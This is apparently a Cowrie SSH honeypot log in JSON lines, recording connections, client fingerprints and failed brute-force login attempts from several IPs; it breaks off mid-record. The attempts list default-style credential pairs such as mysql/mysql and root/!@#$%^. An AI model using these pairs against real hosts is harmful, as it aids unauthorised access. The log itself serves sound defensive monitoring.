{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:11.993013Z","src_ip":"43.163.119.215","session":"6725fceea7ff","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:12.081060Z","src_ip":"103.75.199.4","session":"b144c5f9f626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:12.085582Z","src_ip":"103.75.199.4","session":"b144c5f9f626","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:12.708913Z","src_ip":"43.163.119.215","session":"6725fceea7ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:13.948388Z","src_ip":"43.163.119.215","session":"6725fceea7ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":39246,"dst_ip":"159.203.135.109","dst_port":22,"session":"06b248d6121a","protocol":"ssh","message":"New connection: 154.83.196.237:39246 (159.203.135.109:22) [session: 06b248d6121a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:16.855537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:16.860988Z","src_ip":"154.83.196.237","session":"06b248d6121a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:16.977382Z","src_ip":"154.83.196.237","session":"06b248d6121a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:17.473199Z","src_ip":"154.83.196.237","session":"06b248d6121a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:18.591025Z","src_ip":"154.83.196.237","session":"06b248d6121a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":59692,"dst_ip":"10.17.0.5","dst_port":22,"session":"aff407695cf3","protocol":"ssh","message":"New connection: 43.163.119.215:59692 (10.17.0.5:22) [session: aff407695cf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:25.357363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:25.362191Z","src_ip":"43.163.119.215","session":"aff407695cf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:25.600182Z","src_ip":"43.163.119.215","session":"aff407695cf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":46162,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac7c6e3112f6","protocol":"ssh","message":"New connection: 78.40.37.143:46162 (10.17.0.5:22) [session: ac7c6e3112f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:26.160347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:26.166144Z","src_ip":"78.40.37.143","session":"ac7c6e3112f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:26.245687Z","src_ip":"78.40.37.143","session":"ac7c6e3112f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:26.313483Z","src_ip":"43.163.119.215","session":"aff407695cf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xhl2g06n","password":"rDsmrHIgoab9w+EfuqeP","message":"login attempt [xhl2g06n/rDsmrHIgoab9w+EfuqeP] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:26.599629Z","src_ip":"78.40.37.143","session":"ac7c6e3112f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:27.601450Z","src_ip":"43.163.119.215","session":"aff407695cf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:27.683532Z","src_ip":"78.40.37.143","session":"ac7c6e3112f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":45716,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ae68a262aae","protocol":"ssh","message":"New connection: 103.75.199.4:45716 (159.203.135.109:22) [session: 7ae68a262aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:33.281325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:33.286112Z","src_ip":"103.75.199.4","session":"7ae68a262aae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:33.381636Z","src_ip":"103.75.199.4","session":"7ae68a262aae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:33.666885Z","src_ip":"103.75.199.4","session":"7ae68a262aae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:34.764962Z","src_ip":"103.75.199.4","session":"7ae68a262aae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":54944,"dst_ip":"10.17.0.5","dst_port":22,"session":"602c37b81bed","protocol":"ssh","message":"New connection: 80.94.92.182:54944 (10.17.0.5:22) [session: 602c37b81bed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:43.532699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:43.638659Z","src_ip":"80.94.92.182","session":"602c37b81bed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:43.756724Z","src_ip":"80.94.92.182","session":"602c37b81bed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#$%^","message":"login attempt [root/!@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:44.474245Z","src_ip":"80.94.92.182","session":"602c37b81bed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:45.660696Z","src_ip":"80.94.92.182","session":"602c37b81bed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":52611,"dst_ip":"159.203.135.109","dst_port":22,"session":"e33c08f5f529","protocol":"ssh","message":"New connection: 162.243.147.237:52611 (159.203.135.109:22) [session: e33c08f5f529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:53.884492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:53.889341Z","src_ip":"162.243.147.237","session":"e33c08f5f529","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:53.966510Z","src_ip":"162.243.147.237","session":"e33c08f5f529","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loja","message":"login attempt [root/loja] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:54.305023Z","src_ip":"162.243.147.237","session":"e33c08f5f529","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":57244,"dst_ip":"159.203.135.109","dst_port":22,"session":"74a819833d25","protocol":"ssh","message":"New connection: 103.75.199.4:57244 (159.203.135.109:22) [session: 74a819833d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:55.134000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:55.139110Z","src_ip":"103.75.199.4","session":"74a819833d25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:55.235656Z","src_ip":"103.75.199.4","session":"74a819833d25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:55.383736Z","src_ip":"162.243.147.237","session":"e33c08f5f529","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:55.522516Z","src_ip":"103.75.199.4","session":"74a819833d25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":43924,"dst_ip":"10.17.0.5","dst_port":22,"session":"64d55ef3fcc8","protocol":"ssh","message":"New connection: 94.154.34.232:43924 (10.17.0.5:22) [session: 64d55ef3fcc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:55.894445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:55.898879Z","src_ip":"94.154.34.232","session":"64d55ef3fcc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","r